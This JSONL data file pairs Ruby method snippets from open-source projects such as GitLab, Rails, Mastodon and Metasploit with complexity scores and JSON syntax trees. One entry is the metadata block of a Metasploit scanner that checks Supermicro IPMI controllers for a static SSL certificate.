{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user_invited_pending.rb","start_line":28,"raw_source":"def has_description?(text)\n          invite_type_col.has_css?(\".invite-description\", text:)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_description?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invite_type_col\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".invite-description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]}","id":"affb940e-fcfa-4982-8938-458556b364d5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/metrics/utils/repeated_csend_discount.rb","start_line":34,"raw_source":"def reset_on_lvasgn(node)\n            var_name = node.children.first\n            @repeated_csend.delete(var_name)\n          end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_on_lvasgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"var_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repeated_csend\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"var_name\"]}]}]}]}","id":"fb24bac3-092b-4555-8f38-cd94f9d87d3a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250328101336_drop_virtual_registries_packages_maven_registries_cache_validity_hours.rb","start_line":13,"raw_source":"def down\n    add_column TABLE_NAME, :cache_validity_hours, :smallint, null: false, default: 1, if_not_exists: true\n\n    constraint_name = check_constraint_name(TABLE_NAME.to_s, 'cache_validity_hours', 'zero_or_positive')\n    add_check_constraint(TABLE_NAME, 'cache_validity_hours >= 0', constraint_name)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"cache_validity_hours\"]},{\"type\":\"sym\",\"children\":[\"smallint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"constraint_name\",{\"type\":\"send\",\"children\":[null,\"check_constraint_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"cache_validity_hours\"]},{\"type\":\"str\",\"children\":[\"zero_or_positive\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"cache_validity_hours >= 0\"]},{\"type\":\"lvar\",\"children\":[\"constraint_name\"]}]}]}]}","id":"52857627-bc49-4c3d-b07f-780b0974cb3d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/recon/makeiplist.rb","start_line":102,"raw_source":"def load_files(in_f, out_f)\n  handle_in = ::File.open(in_f, 'r')\n\n  # Output file not found, assuming we should create one automatically\n  ::File.open(out_f, 'w') {} unless ::File.exist?(out_f)\n\n  handle_out = ::File.open(out_f, 'a')\n\n  return handle_in, handle_out\nend","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"in_f\"]},{\"type\":\"arg\",\"children\":[\"out_f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"handle_in\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"in_f\"]},{\"type\":\"str\",\"children\":[\"r\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"out_f\"]}]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"out_f\"]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"handle_out\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"out_f\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle_in\"]},{\"type\":\"lvar\",\"children\":[\"handle_out\"]}]}]}]}","id":"1f074626-8ea9-40a9-9a59-d725aaf966d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/job_token/authorization.rb","start_line":65,"raw_source":"def self.log_captures_async\n        authorizations = captured_authorizations\n        return unless authorizations\n\n        accessed_project_id = authorizations[:accessed_project_id]\n        origin_project_id = authorizations[:origin_project_id]\n        return unless accessed_project_id && origin_project_id\n\n        policies = authorizations.fetch(:policies, []).map(&:to_s)\n        Ci::JobToken::LogAuthorizationWorker # rubocop:disable CodeReuse/Worker -- This method is called from a middleware and it's better tested\n          .perform_in(CAPTURE_DELAY, accessed_project_id, origin_project_id, policies)\n      end","complexity_score":14.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_captures_async\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authorizations\",{\"type\":\"send\",\"children\":[null,\"captured_authorizations\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorizations\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"accessed_project_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorizations\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"accessed_project_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"origin_project_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorizations\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"origin_project_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accessed_project_id\"]},{\"type\":\"lvar\",\"children\":[\"origin_project_id\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"policies\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorizations\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"policies\"]},{\"type\":\"array\",\"children\":[]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"JobToken\"]},\"LogAuthorizationWorker\"]},\"perform_in\",{\"type\":\"const\",\"children\":[null,\"CAPTURE_DELAY\"]},{\"type\":\"lvar\",\"children\":[\"accessed_project_id\"]},{\"type\":\"lvar\",\"children\":[\"origin_project_id\"]},{\"type\":\"lvar\",\"children\":[\"policies\"]}]}]}]}","id":"6d649216-742d-4edd-a15b-16d2e731b98d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/json_validation.rb","start_line":154,"raw_source":"def initialize(app, options = {})\n        @app = app\n        @default_limits = options[:default_limits] ? DEFAULT_LIMITS.merge(options[:default_limits]) : DEFAULT_LIMITS\n        @route_config_map = build_route_config_map(options[:route_limits])\n      end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"lvar\",\"children\":[\"app\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_limits\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"default_limits\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULT_LIMITS\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"default_limits\"]}]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_LIMITS\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@route_config_map\",{\"type\":\"send\",\"children\":[null,\"build_route_config_map\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"route_limits\"]}]}]}]}]}]}","id":"670088e5-69bc-48c7-aa5c-15676606c300"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/data_builder/pipeline.rb","start_line":64,"raw_source":"def hook_attrs(pipeline)\n        {\n          id: pipeline.id,\n          iid: pipeline.iid,\n          name: pipeline.name,\n          ref: pipeline.source_ref,\n          tag: pipeline.tag,\n          sha: pipeline.sha,\n          before_sha: pipeline.before_sha,\n          source: pipeline.source,\n          status: pipeline.status,\n          detailed_status: pipeline.detailed_status(nil).label,\n          stages: pipeline.stages_names,\n          created_at: pipeline.created_at,\n          finished_at: pipeline.finished_at,\n          duration: pipeline.duration,\n          queued_duration: pipeline.queued_duration,\n          protected_ref: pipeline.protected_ref?,\n          variables: pipeline.variables.map(&:hook_attrs),\n          url: Gitlab::Routing.url_helpers.project_pipeline_url(pipeline.project, pipeline)\n        }\n      end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"hook_attrs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"iid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"source_ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"tag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"before_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"detailed_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"detailed_status\",{\"type\":\"nil\",\"children\":[]}]},\"label\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"stages_names\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finished_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"finished_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"duration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queued_duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"queued_duration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protected_ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"protected_ref?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variables\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"variables\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hook_attrs\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"project_pipeline_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]}]}]}]}","id":"d9605b2f-c6d7-4ac1-b4f4-8eb4cfe0a892"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/store.rb","start_line":245,"raw_source":"def self.write(object, attribute, key, value)\n          store_object = prepare(object, attribute)\n          store_object[key] = value if value != store_object[key]\n        end","complexity_score":6.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"store_object\",{\"type\":\"send\",\"children\":[null,\"prepare\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_object\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_object\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]}]}]}","id":"e09068ef-9390-446c-b057-e7d813aabd08"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/after_export_strategies/web_upload_strategy.rb","start_line":74,"raw_source":"def send_file_options\n        {\n          body_stream: export_file,\n          headers: headers\n        }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_file_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body_stream\"]},{\"type\":\"send\",\"children\":[null,\"export_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"headers\"]}]}]}]}","id":"bc7b48a8-716a-4ded-9ce9-1e60efe124d2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/role_management.rb","start_line":88,"raw_source":"def set_database_owner_role(active)\n    dbowner    = ServerRole.database_owner\n    assigned   = assigned_server_roles.find_by(:server_role_id => dbowner.id)\n    assigned ||= assigned_server_roles.create(:server_role => dbowner, :priority => AssignedServerRole::DEFAULT_PRIORITY, :active => active)\n\n    active ? assigned.activate : assigned.deactivate\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_database_owner_role\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"active\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dbowner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerRole\"]},\"database_owner\"]}]},{\"type\":\"lvasgn\",\"children\":[\"assigned\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assigned_server_roles\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_role_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dbowner\"]},\"id\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assigned\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assigned_server_roles\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_role\"]},{\"type\":\"lvar\",\"children\":[\"dbowner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssignedServerRole\"]},\"DEFAULT_PRIORITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"lvar\",\"children\":[\"active\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned\"]},\"activate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned\"]},\"deactivate\"]}]}]}]}","id":"55e6f642-16c7-4067-8297-54be623af6c8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb","start_line":29,"raw_source":"def initialize\n    super(\n      'Name' => 'Supermicro Onboard IPMI Static SSL Certificate Scanner',\n      'Description' => %q{\n        This module checks for a static SSL certificate shipped with Supermicro Onboard IPMI\n        controllers. An attacker with access to the publicly-available firmware can perform\n        man-in-the-middle attacks and offline decryption of communication to the controller.\n        This module has been on a Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware\n        version SMT_X9_214.\n      },\n      'Author' => [\n        'hdm', # Discovery and analysis\n        'juan' # Metasploit module\n      ],\n      'License' => MSF_LICENSE,\n      'References' => [\n        [ 'CVE', '2013-3619' ],\n        [ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/']\n      ],\n      'DisclosureDate' => 'Nov 06 2013'\n    )\n\n    register_options(\n      [\n        Opt::RPORT(443),\n      ]\n    )\n  end","complexity_score":3.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Supermicro Onboard IPMI Static SSL Certificate Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module checks for a static SSL certificate shipped with Supermicro Onboard IPMI\\n\"]},{\"type\":\"str\",\"children\":[\"        controllers. An attacker with access to the publicly-available firmware can perform\\n\"]},{\"type\":\"str\",\"children\":[\"        man-in-the-middle attacks and offline decryption of communication to the controller.\\n\"]},{\"type\":\"str\",\"children\":[\"        This module has been on a Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware\\n\"]},{\"type\":\"str\",\"children\":[\"        version SMT_X9_214.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"juan\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3619\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"Nov 06 2013\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]}]}]}]}]}","id":"e0373cb1-94c5-4865-9986-509521580347"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/fan_out_on_write_service.rb","start_line":126,"raw_source":"def deliver_to_lists!\n    @account.lists_for_local_distribution.select(:id).reorder(nil).find_in_batches do |lists|\n      FeedInsertWorker.push_bulk(lists) do |list|\n        [@status.id, list.id, 'list', { 'update' => update? }]\n      end\n    end\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"deliver_to_lists!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"lists_for_local_distribution\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]},\"find_in_batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lists\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedInsertWorker\"]},\"push_bulk\",{\"type\":\"lvar\",\"children\":[\"lists\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"id\"]},{\"type\":\"str\",\"children\":[\"list\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[null,\"update?\"]}]}]}]}]}]}]}","id":"f069878b-5d59-4310-8edc-2dfcf35c156a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2338,"raw_source":"def merged_at\n    strong_memoize(:merged_at) do\n      next unless merged?\n\n      metrics&.merged_at ||\n        merge_event&.created_at ||\n        resource_state_events.find_by(state: :merged)&.created_at ||\n        notes.system.reorder(nil).find_by(note: 'merged')&.created_at\n    end\n  end","complexity_score":29.5,"ast_json":"{\"type\":\"def\",\"children\":[\"merged_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"merged_at\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merged?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metrics\"]},\"merged_at\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_event\"]},\"created_at\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_state_events\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"merged\"]}]}]}]},\"created_at\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notes\"]},\"system\"]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"str\",\"children\":[\"merged\"]}]}]}]},\"created_at\"]}]}]}]}]}","id":"4463a688-0f9c-4404-b9aa-9b659b856a34"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":566,"raw_source":"def test_three_levels_with_array\n    xml = { name: \"David\", addresses: [{ streets: [ { name: \"Paulina\" }, { name: \"Paulina\" } ] } ] }.to_xml(@xml_options)\n    assert_includes xml, %(<addresses type=\"array\"><address><streets type=\"array\"><street><name>)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_three_levels_with_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"addresses\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"streets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Paulina\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Paulina\"]}]}]}]}]}]}]}]}]},\"to_xml\",{\"type\":\"ivar\",\"children\":[\"@xml_options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"xml\"]},{\"type\":\"str\",\"children\":[\"<addresses type=\\\"array\\\"><address><streets type=\\\"array\\\"><street><name>\"]}]}]}]}","id":"0c4bdeb9-c8ab-417c-9672-6a579bdbf23f"}
